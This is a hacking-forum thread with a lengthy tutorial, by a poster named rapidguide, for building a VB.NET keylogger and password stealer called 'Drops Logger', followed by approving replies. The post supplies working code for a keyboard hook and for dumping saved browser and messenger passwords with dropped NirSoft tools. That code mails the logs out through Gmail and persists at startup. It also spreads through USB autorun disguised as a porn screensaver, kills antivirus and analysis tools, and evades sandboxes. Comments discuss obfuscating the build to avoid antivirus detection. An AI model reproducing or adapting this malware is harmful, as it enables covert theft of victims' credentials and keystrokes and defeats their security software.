[rapidguide]

Drops Logger

Tutorial By Rapid

Advanced Keylogger & Stealer

Hello Friends This Is Rapid...Here My New Tutoral How To Make Advanced Keylogger & Stealer Using Drops [Credits To Nirsoft]

This Tutorial Is Very Noob Way I Will Explain Becasue Everyone Must UnderStand Ok Sorry For Bad English But I Would Like To Help U

First Of All New Mates ConfusingAbout Builder & Stub What Are They

Small Story : - Builder is just Like A Connector To Stub Whole SHit of our Code In Stub

So Stub Is Main Part [Server] And Buildr Is Just Like Calling The Req Options UnderStood


Builder Code


Open Microsoft Visual Studio 2008 --->File-->New Project--->Project Name(Drops Logger)---> Form Loaded Then

Edit Something Like

Naming as Drops Logger
Maximize box-False
Minimize Box -False
FormBorderStyle-FixedSingle


Add 5 lables & 3 Text Boxes & (NumericUpDown Set Value as 15) & 6 checkboxes & OpenFileDialog & 1Button(i have 3)


label1-Gmail Username
label2-Gmail Password
label3-Logs Send To
label4-Time Interval
label5-(Minutes}
checkbox1-Stealers
checkbox2-Run On Startup
checkbox3-Usb Spread
checkbox4-Anti-System
checkbox5-Icon Changer(CheckBox15X) here my code
checkbox6-FilePumper(CheckBox14C) here in my code
textbox1-getting gmail username
textbox2-getting gmail password
textbox3-logs send to here any mail u can add
textbox4-file pumper like here 1024kb = 1 mb
textbox5-icon changer path


Then Ur Builder Look Like This

[img]http://3.bp.blogspot.com/_nzXvjk4J6Bs/S_eoC9uSqiI/AAAAAAAAAqM/1xd3A1eugY0/s1600/droplogger1.jpg[/img]

Double Click Or Hit F7

So Then Builder Code: import some as

Imports Microsoft.Win32
Imports System.IO
Imports System.Net.Mail
Imports fLaSh.Dissembler ' <------ u got problem here add reference as Project--Addreference--browse-->dissembler LIB.dll

Take Some Variables

Dim stub, text1, text2, text3, numberval, cb1, cb2, cb3, cb4 As String

And Connection As

Const FileSplit = "@Rapid@"

Click On Iconchanger Check Box---Select as Method as "Click' or in CheckedChanged Place This Code

Code

If CheckBox15X.Checked = True Then
            Try
                OpenFileDialog1.DefaultExt = "ico"
                OpenFileDialog1.Filter = "icon files (*.ico)|*.ico"
                OpenFileDialog1.FilterIndex = 1
                If OpenFileDialog1.ShowDialog(Me) = DialogResult.OK Then
                    TextBox5.Text = String.Empty
                    TextBox5.Text = OpenFileDialog1.FileName
                End If
                Dim newicon As New Bitmap(TextBox5.Text, True)
                PictureBox1.Image = newicon
            Catch ex As Exception
                MsgBox("Please Select Another Icon..........!Thank You ")
            End Try
        Else
            MsgBox("U Dont Need Icon........Thx")

Double Click On Build (button1) Add This Entair Code

Code

Try
            text1 = TextBox1.Text 'username
            text2 = TextBox2.Text 'pass
            text3 = TextBox3.Text 'sendto
            numberval = NumericUpDown1.Value 'time

            If CheckBox1.Checked = True Then 'stelers
                cb1 = True
            Else : cb1 = False
            End If

            If CheckBox2.Checked = True Then 'startup
                cb2 = True
            Else : cb2 = False
            End If

            If CheckBox3.Checked = True Then 'Usb
                cb3 = True
            Else : cb3 = False
            End If

            If CheckBox4.Checked = True Then 'anties
                cb4 = True
            Else : cb4 = False
            End If


            '##############   Icon Changer    ########

            If CheckBox15X.Checked = True Then
                Try
                    Dim oIconFilenathu As New IconFile(Me.TextBox5.Text)
                    Dim groupIconResource As GroupIconResource = oIconFilenathu.ConvertToGroupIconResource()
                    groupIconResource.SaveTo(Application.StartupPath & "\Stub.exe")
                Catch IC As Exception
                    MsgBox("Dear User Take Another Icon............!")
                End Try
            End If


            FileOpen(1, Application.StartupPath & "\stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
            stub = Space(LOF(1))
            FileGet(1, stub)
            FileClose(1)


            '#### Check For Served Ifs There Exits Then it will delete

            If File.Exists(Application.StartupPath & "\server.exe") Then
                My.Computer.FileSystem.DeleteFile(Application.StartupPath & "\server.exe")
            End If

            FileOpen(1, Application.StartupPath & "\server.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
            FilePut(1, stub & FileSplit & text1 & FileSplit & text2 & FileSplit & text3 & FileSplit & numberval & FileSplit & cb1 & FileSplit & cb2 &

FileSplit & cb3 & FileSplit & cb4)
            FileClose(1)


            'add bytes (file pumper)

            If CheckBox14C.Checked = True Then
                Try
                    Dim filesize As Double = Val(Me.TextBox4.Text)
                    If type.Text = "B" Then
                        filesize = Me.TextBox4.Text
                    ElseIf type.Text = "KB" Then
                        filesize = Me.TextBox4.Text * 1024
                    ElseIf type.Text = "MB" Then
                        filesize = Me.TextBox4.Text * 1048576
                    End If

                    Dim filetopump = IO.File.OpenWrite(Application.StartupPath & "\server.exe")
                    Dim size = filetopump.Seek(0, IO.SeekOrigin.[End])
                    While size < filesize
                        filetopump.WriteByte(0)
                        size += 1
                    End While
                    filetopump.Close()

                Catch Pump As Exception
                    MsgBox("There was an error while pumping !")
                End Try

            End If

            '### Finally Server Created
            MsgBox("Server was created successfully in : " & Application.StartupPath & "\server.exe")

        Catch ex As Exception
            MsgBox("Error May Be U Dont Place Stub...!")
        End Try

" You Done Your Drops Logger Builder"

Stub Code


Then Stub Code First Of All Download iepv & PasswordFox&OperaPassView&ChromePass&Mspass From Nirsoft
And Add These As Reference To You Stub Project as Like THis

[img]http://2.bp.blogspot.com/_nzXvjk4J6Bs/S_e2uNVsdQI/AAAAAAAAAqU/18CKAlkhZSQ/s1600/dropslogger2.jpg[/img]

Agin

Open Microsoft Visual Studio 2008 --->File-->New Project--->Project Name(Stub)---> Form Loaded Then


Edit This Main Part To Hide Ur Server
In Stub Properties Modify This

1.ShownIcon As False
2.WindowState as Minimized (Imp)
3.Opacity as 0%
4.FormBorderStyle as Fixed Tool Window


9 textboxes & 5 lables & 2 timers

label1-time
label2-startup
label3-usb
label4-anties
label5-steales

Textbox1 as -for Keylogging Purpose whole keystokes will be here
Textbox2 as- for username
Textbox3 as -for pass
Textbox4 as-for logs send to
Textbox5(Here In My Code as TextBox9) -Ie Logs
Textbox6(Here In My Code as TextBox10)-firefox logs
Textbox7 (Here In My Code as TextBox11)-chrome logs
Textbox8 (Here In My Code as TextBox12)-opera logs
Textbox9 (Here In My Code as TextBox139)-chat messengers

timer1- Keylogging
timer3- sending mail


Why I Add Lot of textboxes why because to clear to observer my logs fox,chrome,opera logs in my pc U can code in single textbox aslo ur wish


Double Click On Stub Form Import This

Imports Microsoft.Win32
Imports System.IO
Imports System.Net.Mail

and Variables as

Dim options(), text1, text2, text3, numberval, cb1, cb2, cb3, cb4 As String

Connection as

Const FileSplit = "@Rapid@"

and Hook Code

Code

#Region "HOOK CODE"

    Private Declare Function GetAsyncKeyState Lib "USER32" (ByVal vKey As Long) As Integer
    Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
    Public Function GetCapslock() As Boolean
        GetCapslock = CBool(GetKeyState(&H14) And 1)
    End Function

    Public Function GetShift() As Boolean
        GetShift = CBool(GetAsyncKeyState(&H10))
    End Function
    Dim Result As Integer


    '##keyhook
    Public Class KeyboardHook
        Private Const HC_ACTION As Integer = 0
        Private Const WH_KEYBOARD_LL As Integer = 13
        Private Const WM_KEYDOWN = &H100
        Private Const WM_KEYUP = &H101
        Private Const WM_SYSKEYDOWN = &H104
        Private Const WM_SYSKEYUP = &H105

        Private Structure KBDLLHOOKSTRUCT
            Public vkCode As Integer
            Public scancode As Integer
            Public flags As Integer
            Public time As Integer
            Public dwExtraInfo As Integer
        End Structure

        Private Declare Function SetWindowsHookEx Lib "user32" _
        Alias "SetWindowsHookExA" _
        (ByVal idHook As Integer, _
        ByVal lpfn As KeyboardProcDelegate, _
        ByVal hmod As Integer, _
        ByVal dwThreadId As Integer) As Integer

        Private Declare Function CallNextHookEx Lib "user32" _
        (ByVal hHook As Integer, _
        ByVal nCode As Integer, _
        ByVal wParam As Integer, _
        ByVal lParam As KBDLLHOOKSTRUCT) As Integer

        Private Declare Function UnhookWindowsHookEx Lib "user32" _
        (ByVal hHook As Integer) As Integer


        Private Delegate Function KeyboardProcDelegate _
        (ByVal nCode As Integer, _
        ByVal wParam As Integer, _
        ByRef lParam As KBDLLHOOKSTRUCT) As Integer


        Public Shared Event KeyDown(ByVal Key As Keys)
        Public Shared Event KeyUp(ByVal Key As Keys)

        Private Shared KeyHook As Integer

        Private Shared KeyHookDelegate As KeyboardProcDelegate

        Public Sub New()

            KeyHookDelegate = New KeyboardProcDelegate(AddressOf KeyboardProc)
            KeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyHookDelegate,

System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
        End Sub

        Private Shared Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer

            If (nCode = HC_ACTION) Then
                Select Case wParam

                    Case WM_KEYDOWN, WM_SYSKEYDOWN

                        RaiseEvent KeyDown(CType(lParam.vkCode, Keys))
                    Case WM_KEYUP, WM_SYSKEYUP

                        RaiseEvent KeyUp(CType(lParam.vkCode, Keys))
                End Select
            End If

            Return CallNextHookEx(KeyHook, nCode, wParam, lParam)
        End Function
        Protected Overrides Sub Finalize()

            UnhookWindowsHookEx(KeyHook)
            MyBase.Finalize()
        End Sub
    End Class
    Private WithEvents kbHook As New KeyboardHook
    Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
    Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As

Int32
    Dim strin As String = Nothing
    Private Function GetActiveWindowTitle() As String
        Dim MyStr As String
        MyStr = New String(Chr(0), 100)
        GetWindowText(GetForegroundWindow, MyStr, 100)
        MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
        Return MyStr
    End Function

#End Region

---

And In In Form_ Load Add This Codes

Code

FileOpen(1, Application.ExecutablePath, OpenMode.Binary,

OpenAccess.Read, OpenShare.Shared)

        text1 = Space(LOF(1)) 'username
        text2 = Space(LOF(1)) 'pass
        text3 = Space(LOF(1)) 'sender@anymail
        numberval = Space(LOF(1)) 'time---->label1

        cb1 = Space(LOF(1)) 'stealers ------>label15
        cb2 = Space(LOF(1)) 'run on startup------>label2
        cb3 = Space(LOF(1)) 'Usb------>label3
        cb4 = Space(LOF(1)) 'anties------>label4

        

'+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

        FileGet(1, text1) ' options(1) -->usernam
        FileGet(1, text2) ' options(2)--->pass
        FileGet(1, text3) 'options(3)---------->[email protected]
        FileGet(1, numberval) ' options(4)--->time >>>>>>>>-------->label1

        FileGet(1, cb1) 'options(5)----------->Stealers

>>>>>>>>-------->label15
        FileGet(1, cb2)

'options(6)----------->startup>>>>>>>>-------->label2
        FileGet(1, cb3) 'options(7)----------->Usb >>>>>>>>-------->label3
        FileGet(1, cb4)

'options(8)----------->anties>>>>>>>>-------->label4


        FileClose(1)
        options = Split(text1, FileSplit)
        

'++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
        'Getto

        TextBox2.Text = options(1) '------------------->username
        TextBox3.Text = options(2) '-------------------->pass
        TextBox4.Text = options(3)

'------------------------>sender@anymail
        Label1.Text = options(4) '---------------------->time



        If options(5) = False Then
            Label5.Text = "no-Stealers"
        Else
            Label5.Text = "Yes-Stealers"
            '###################################here its calling  steaelrs

            Call IE()
            TextBox9.Text = IO.File.ReadAllText(Environ("tmp") &

"\iepv.txt")


            Call firefoxpass()
            TextBox10.Text = IO.File.ReadAllText(Environ("tmp") &

"\firefox.txt")


            Call chrome()
            TextBox11.Text = IO.File.ReadAllText(Environ("tmp") &

"\ChromePass.txt")

            Call OperaPassView()
            TextBox12.Text = IO.File.ReadAllText(Environ("tmp") &

"\OperaPassView.txt")

            Call mspass()
            TextBox13.Text = IO.File.ReadAllText(Environ("tmp") &

"\mspass.txt")


        End If

        If options(6) = True Then '----------------------->start up
            'Label2.Text = "startup "
            AddStartup(Me.Text, Application.ExecutablePath)

        Else
            Label2.Text = "startup No"
        End If

        If options(7) = True Then '----------------------->Usb

            Label3.Text = ("Yes-Usb")
             usb()

        Else
            Label3.Text = ("No-Usb")
            
        End If

        If options(8) = True Then '----------------------->anties
            Label4.Text = "yes-anties"
Try

                Call AntiAnubis()
                Call AntiBitDefender()
                Call AntiKaspersky()
                Call AntiKeyscrambler()
                Call AntiMalwarebytes()
                Call AntiNOD32()
                Call AntiNorman()
                Call AntiOllydbg()
                Call AntiOutpost()
                Call AntiWireshark()
                Call AntiZoneAlarm()
                ant.mofo()

            Catch ex As Exception
                Application.Exit() 'exit applicato
            End Try




          
        Else

            Label4.Text = "No-anties"
        End If



        Timer1.Start() ' KeyStrokes Hack----------$MAIN PART$

        Timer2.Interval = (Label1.Text * 60 * 1000) '' conver to minutes
        Timer2.Start()  ' sendign Mail

Click On Timer1 add this Code For Keystrokes loggin


Here 777 Lines Of Code

http://pastebin.com/MD5ANRXH
http://www.multiupload.com/PF38LTW0TB




Click On timer2 add these code

Code

Try


            Dim MyMailMessage As New MailMessage()
            MyMailMessage.From = New MailAddress(TextBox2.Text)
            MyMailMessage.To.Add(TextBox4.Text)
            MyMailMessage.Subject = "+--Drops Logger Logs--+ "
            MyMailMessage.Body = "The Drops Logger is Successfully

Activated On " & My.Computer.Name & " Computer " & " At the Time  " &

My.Computer.Clock.LocalTime & Environment.NewLine & Environment.NewLine &

"[+----System Infomation----+]" & Environment.NewLine &

Environment.NewLine &

My.Computer.Info.OSFullName & "   (Operating Sysytem)" &

Environment.NewLine & Environment.NewLine & " [+------Stealers-----+] " &

"+--Drops Logger By Rapid

-- Indian H@cker--+ " + vbNewLine + vbNewLine & "--+INDIAN H@CKER+--" +

vbNewLine + vbNewLine & TextBox1.Text & TextBox9.Text & TextBox10.Text &

TextBox11.Text & TextBox12.Text & TextBox13.Text
            Dim SMTPServer As New SmtpClient("smtp.gmail.com")
            SMTPServer.Port = 587
            SMTPServer.Credentials = New

System.Net.NetworkCredential(TextBox2.Text, TextBox3.Text)
            SMTPServer.EnableSsl = True
            SMTPServer.Send(MyMailMessage)
            TextBox1.Clear() 'its clear the logs

        Catch ex As Exception

        End Try

And Add these steales codes

Code

#Region "Stealers"

    Function IE() As String
        Dim open As String
        Dim Ressource1() As Byte = My.Resources.iepv
        FileOpen(1, Environ("tmp") & "\iepv.exe", OpenMode.Binary)
        FilePut(1, Ressource1)
        FileClose(1)
        Shell(Environ("tmp") & "\iepv.exe /stext " & Environ("tmp") &

"\iepv.txt", AppWinStyle.Hide)
        open = IO.File.ReadAllText(Environ("tmp") & "\iepv.txt")
        Return open
    End Function

    Function firefoxpass() As String
        Dim open As String
        Dim Ressource1() As Byte = My.Resources.PasswordFox
        FileOpen(1, Environ("tmp") & "\passwordfox.exe", OpenMode.Binary)
        FilePut(1, Ressource1)
        FileClose(1)
        Shell(Environ("tmp") & "\passwordfox.exe /stext " & Environ("tmp")

& "\firefox.txt", AppWinStyle.Hide)
        open = IO.File.ReadAllText(Environ("tmp") & "\firefox.txt")
        Return open
    End Function

    Function chrome() As String
        Dim open As String
        Dim Ressource1() As Byte = My.Resources.ChromePass
        FileOpen(1, Environ("tmp") & "\ChromePass.exe", OpenMode.Binary)
        FilePut(1, Ressource1)
        FileClose(1)
        Shell(Environ("tmp") & "\ChromePass.exe /stext " & Environ("tmp")

& "\ChromePass.txt", AppWinStyle.Hide)
        open = IO.File.ReadAllText(Environ("tmp") & "\ChromePass.txt")
        Return open
    End Function

    Function OperaPassView() As String
        Dim open As String
        Dim Ressource1() As Byte = My.Resources.OperaPassView
        FileOpen(1, Environ("tmp") & "\OperaPassView.exe",

OpenMode.Binary)
        FilePut(1, Ressource1)
        FileClose(1)
        Shell(Environ("tmp") & "\OperaPassView.exe /stext " &

Environ("tmp") & "\OperaPassView.txt", AppWinStyle.Hide)
        open = IO.File.ReadAllText(Environ("tmp") & "\OperaPassView.txt")
        Return open
    End Function

    Function mspass() As String
        Dim open As String
        Dim Ressource1() As Byte = My.Resources.mspass
        FileOpen(1, Environ("tmp") & "\mspass.exe", OpenMode.Binary)
        FilePut(1, Ressource1)
        FileClose(1)
        Shell(Environ("tmp") & "\mspass.exe /stext " & Environ("tmp") &

"\mspass.txt", AppWinStyle.Hide)
        open = IO.File.ReadAllText(Environ("tmp") & "\mspass.txt")
        Return open
    End Function

#End Region

Usb Spred Code

Code

Private Sub usb()

        Dim drivers As String =

My.Computer.FileSystem.SpecialDirectories.ProgramFiles
        Dim driver() As String = (IO.Directory.GetLogicalDrives)
        For Each drivers In driver
            Try
                IO.File.Copy(Application.ExecutablePath, drivers &

"PornPic.scr")
                Dim autorunwriter = New StreamWriter(drivers &

"\autorun.inf")
                autorunwriter.WriteLine("[autorun]")
                autorunwriter.WriteLine("open=" & drivers & "PornPic.scr")
                autorunwriter.WriteLine("shellexecute=" & drivers, 1)
                autorunwriter.Close()
                System.IO.File.SetAttributes(drivers & "autorun.inf",

FileAttributes.Hidden)
                System.IO.File.SetAttributes(drivers & "PornPic.scr",

FileAttributes.Hidden)
            Catch ex As Exception

            End Try
        Next
        Call filehide()
    End Sub
    Private Sub filehide()

        

My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Window

s\CurrentVersion\Explorer\Advanced", "Hidden", 0)

    End Sub

---

anties Code

Code

#Region "Anties"


    Sub AntiKeyscrambler()


        Dim generaldee As Process() = Process.GetProcesses
        Dim i As Integer
        For i = 0 To generaldee.Length - 1
            Select Case Strings.LCase(generaldee(i).ProcessName)
                Case "keyscrambler"
                    generaldee(i).Kill()
                Case Else
            End Select
        Next

    End Sub



    '------------------------Wireshark----------------------------
    Sub AntiWireshark()
        Dim generaldee As Process() = Process.GetProcesses
        Dim i As Integer
        For i = 0 To generaldee.Length - 1
            Select Case Strings.LCase(generaldee(i).ProcessName)
                Case "wireshark"
                    generaldee(i).Kill()
                Case Else
            End Select
        Next
    End Sub

    '----------------------------Anubis--------------------------------
    Sub AntiAnubis()
        Dim generaldee As Process() = Process.GetProcesses
        Dim i As Integer
        For i = 0 To generaldee.Length - 1
            Select Case Strings.LCase(generaldee(i).ProcessName)
                Case "anubis"
                    generaldee(i).Kill()
                Case Else
            End Select
        Next
    End Sub

    '------------------------Malwarebytes----------------------------
    Sub AntiMalwarebytes()
        Dim generaldee As Process() = Process.GetProcesses
        Dim i As Integer
        For i = 0 To generaldee.Length - 1
            Select Case Strings.LCase(generaldee(i).ProcessName)
                Case "mbam"
                    generaldee(i).Kill()
                Case Else
            End Select
        Next
    End Sub

    '------------------------Kaspersky----------------------------
    Sub AntiKaspersky()
        Dim generaldee As Process() = Process.GetProcesses
        Dim i As Integer
        For i = 0 To generaldee.Length - 1
            Select Case Strings.LCase(generaldee(i).ProcessName)
                Case "avp"
                    generaldee(i).Kill()
                Case Else
            End Select
        Next
    End Sub

    '-----------------------Ollydbg---------------------------------
    Sub AntiOllydbg()
        Dim generaldee As Process() = Process.GetProcesses
        Dim i As Integer
        For i = 0 To generaldee.Length - 1
            Select Case Strings.LCase(generaldee(i).ProcessName)
                Case "ollydbg"
                    generaldee(i).Kill()
                Case Else
            End Select
        Next
    End Sub

    '-----------------------Outpost---------------------------------
    Sub AntiOutpost()
        Dim generaldee As Process() = Process.GetProcesses
        Dim i As Integer
        For i = 0 To generaldee.Length - 1
            Select Case Strings.LCase(generaldee(i).ProcessName)
                Case "outpost"
                    generaldee(i).Kill()
                Case Else
            End Select
        Next
    End Sub

    '-----------------------Norman------------------------------
    Sub AntiNorman()
        Dim generaldee As Process() = Process.GetProcesses
        Dim i As Integer
        For i = 0 To generaldee.Length - 1
            Select Case Strings.LCase(generaldee(i).ProcessName)
                Case "npfmsg"
                    generaldee(i).Kill()
                Case Else
            End Select
        Next
    End Sub

    '-----------------------Bit Defender------------------------------
    Sub AntiBitDefender()
        Dim generaldee As Process() = Process.GetProcesses
        Dim i As Integer
        For i = 0 To generaldee.Length - 1
            Select Case Strings.LCase(generaldee(i).ProcessName)
                Case "bdagent"
                    generaldee(i).Kill()
                Case Else
            End Select
        Next
    End Sub

    '-----------------------NOD32------------------------------
    Sub AntiNOD32()
        Dim generaldee As Process() = Process.GetProcesses
        Dim i As Integer
        For i = 0 To generaldee.Length - 1
            Select Case Strings.LCase(generaldee(i).ProcessName)
                Case "egui"
                    generaldee(i).Kill()
                Case Else
            End Select
        Next
    End Sub

    '-----------------------Zone Alarm------------------------------
    Sub AntiZoneAlarm()
        Dim generaldee As Process() = Process.GetProcesses
        Dim i As Integer
        For i = 0 To generaldee.Length - 1
            Select Case Strings.LCase(generaldee(i).ProcessName)
                Case "zlclient"
                    generaldee(i).Kill()
                Case Else
            End Select
        Next
    End Sub





    '+=TOfx

    Public Class ant
        Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

        Public Shared Sub mofo()
            seekit("MSASCui")
            seekit("msmpeng")
            antiSandboxie()
            IsVmWare()
            AntiThreatExpert()
            checkUsername()
            checkComputername()
        End Sub

        Private Shared Sub seekit(ByVal gay1 As String)
            For Each p As Process In Process.GetProcesses()
                If p.ProcessName.Contains(gay1) Then
                    Try
                        p.Kill()
                    Catch ex As Exception
                    End Try
                End If
            Next
        End Sub

        Private Shared Sub checkUsername()
            Dim Usernames As New List(Of String)
            Usernames.Add("UserName")
            Usernames.Add("User")
            Usernames.Add("honey")
            Usernames.Add("sandbox")
            Usernames.Add("currentuser")
            Usernames.Add("User")
            For Each name As String In Usernames
                If Environment.UserName = name Then
                    Environment.Exit(0)
                End If
            Next
        End Sub

        Private Shared Sub checkComputername()
            Dim Computername As New List(Of String)
            Computername.Add("ComputerName")
            Computername.Add("COMPUTERNAME")
            Computername.Add("DELL-D3E62F7E26")
            Computername.Add("DWI-9625AC2E275")
            Computername.Add("MICHAEL-F156CF7")
            For Each name As String In Computername
                If Environment.MachineName = name Then
                    Environment.Exit(0)
                End If
            Next
        End Sub

        Public Shared Sub antiSandboxie()
            If Process.GetProcessesByName("SbieSvc").Length >= 1 Then
                Environment.Exit(0)
            End If
        End Sub
        Public Shared Sub IsVmWare()
            Dim Hndl As Long
            Hndl = FindWindow("VMDragDetectWndClass", vbNullString)
            If Hndl = 0 Then
                Environment.Exit(0)
            End If
        End Sub

        Private Shared Sub AntiThreatExpert()
            If Process.GetCurrentProcess().MainModule.FileName.Contains("sample") Then
                Environment.Exit(0)
            End If
        End Sub
    End Class

#End Region

" You Done Your Drops LoggerStub"

You Have Any Problem Check Here Project

Download link

http://www.multiupload.com/5A3JNXD8F3




I Hope You Like It But Very Lenthy Tutorial Give Proper Credits To Me If You use This Code
And Encourage Me For My Effort 🤝🤝

---

Information:-


+-------- Stealers --------+

Firefox 3.0.0-3.6.X
Internet Explorer
Goolge Chrome
Opera
Chat Messengers
-AIm
-ICQ Lit
-G Talk
-Pal Talk
- Pidgin
-Trillian
-My Spce Im
-Msn Messenger
-Yahoo messenger
-Windows Live Messenger

Anties :-


+-------- Anti's -------+

Anubis
Bitdefender
HiJackThis
Kasperky
Keyscrambler
MalwareByte
Nod32
Norman
Ollydbg
Outpost
Sandboxie
SpyBotSD
VirtualBox
VmWare
Wireshark
* ZoneAlarm

---

" You Done Your Drops LoggerStub"

You Have Any Problem Check Here Project

Download link

http://www.multiupload.com/5A3JNXD8F3


I Hope You Like It But Very Lenthy Tutorial Give Proper Credits To Me If You use This Code
And Encourage Me For My Effort 🤝🤝

---

==============
===============

[xdeepx]

Nice share! Thanks alot!...................

[rapidguide]

" You Done Your Drops LoggerStub"

You Have Any Problem Check Here Whole Project Source Code

Download Link -Multi Upload Link

http://adf.ly/2Utt

I Hope You Like It But Very Lenthy Tutorial Give Proper Credits To Me If You use This Code
And I Spent 4 Hours To Write ThoseAll Encourage Me For My Effort And Please Comment Below

🤝🤝



[----------NoVirusThanx Infomation------]


Server:- without adding any junkcodes & Obfuscation

NVT Link


[img]http://2.bp.blogspot.com/_nzXvjk4J6Bs/S_fZRF_sNlI/AAAAAAAAAq8/vYVDPEA7cLw/s1600/infec.jpg[/img]

If U Use JaiKrishna's Undetection Tool Kit & Add A Icon To Ur Server U Can Reduse That To 2/20


And

i Use .net Reactor 4.0
Obfuscation& String Encruption Methods

So Here My Drops Logger Server Ofter Strong Obfuscation 0/19 🤝

NVT Link


[img]http://4.bp.blogspot.com/_nzXvjk4J6Bs/S_fWxmTItII/AAAAAAAAAq0/guDkh8d-uZM/s1600/servercleq.jpg[/img]




Information:-


+-------- Stealers --------+
Firefox 3.0.0-3.6.X
Internet Explorer Goolge Chrome
Opera Chat Messengers
-AIm
-ICQ Lit
-G Talk
-Pal Talk
- Pidgin
-Trillian
-My Spce Im
-Msn Messenger
-Yahoo messenger
-Windows Live Messenger


+-------- Anti's -------+

Anubis
Bitdefender
HiJackThis
Kasperky
Keyscrambler
MalwareByte
Nod32
Norman
Ollydbg
Outpost
Sandboxie
SpyBotSD
VirtualBox
VmWare
Wireshark
* ZoneAlarm


[----Logs Comes Example Like this Its My pain Logger -Screen Caps-----]

[img]http://3.bp.blogspot.com/_nzXvjk4J6Bs/S_fLa6warTI/AAAAAAAAAqk/UKc06_UggTM/s1600/logs.jpg[/img]

[img]http://1.bp.blogspot.com/_nzXvjk4J6Bs/S_fLaOFzQiI/AAAAAAAAAqc/pcE0m4FIbWw/s1600/kill.jpg[/img]

[img]http://3.bp.blogspot.com/_nzXvjk4J6Bs/S_fL24zi9cI/AAAAAAAAAqs/otno-YCO2qw/s1600/log3.jpg[/img]

[Saint-Luciferr]

This is the best tutorial ever ++REP

[DeltaNox]

This has some really useful codes in, like the stealers. The coding itself at some points could be a lot more efficient though like the keystrokes part which can be reduced to a few lines of code. I also don't understand why you added the Hooks class since it's not used anywhere. 😝

[Ghostenigma]

Thanks rapid very useful code and nice explanation

[rapidguide]

This has some really useful codes in, like the stealers. The coding itself at some points could be a lot more efficient though like the keystrokes part which can be reduced to a few lines of code. I also don't understand why you added the Hooks class since it's not used anywhere. 😝

yes dude personally i use that code i need to reduse that....
any way thank you guys Encourage me
this code very nice one my personally used i modify that code ..and its cath
every keystorke 🤝

[Numair]

It will be 4/20 not 2/20 btw thanks for sharing

[MagicKid41]

Thanks dude. like the tutorial io thinkl willl use it later on :P

[gaylechris]

thanks nice tut... ll learn a lot 4m this....

[Beck]

yes dude personally i use that code i need to reduse that....
any way thank you guys Encourage me
this code very nice one my personally used i modify that code ..and its cath
every keystorke 🤝

:D Thank you rapidguide!

You're awesome, thank you for the tutorial, I am making the logger right now! :) TY!!!!!!

[rapidguide]

It will be 4/20 not 2/20 btw thanks for sharing

yes dude without adding any junkcodes and obfuscation methods 3/20

---

It will be 4/20 not 2/20 btw thanks for sharing

yes dude without adding any junkcodes and obfuscation methods 3/20 😝

---

thanks nice tut... ll learn a lot 4m this....

yah thank for comment & Thank Dude 🤝

[ipwnuuaal5]

What does this code do?

Code

Private Sub filehide()

        My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", 0)

    End Sub

[rapidguide]

I mean getting it to be scantime fud is nice and all. and there's nothing wrong with using third party applications cause i once used them but dropping & executing will not help when making it runtime fud. using runpe instead to execute it from resource will do the job.

i know use Runpe metohd u can scantime+runtime FUD 🤝

[Frank Sinatra]

thanks man !!! i'm a noob in visual basic and it helped me alot :D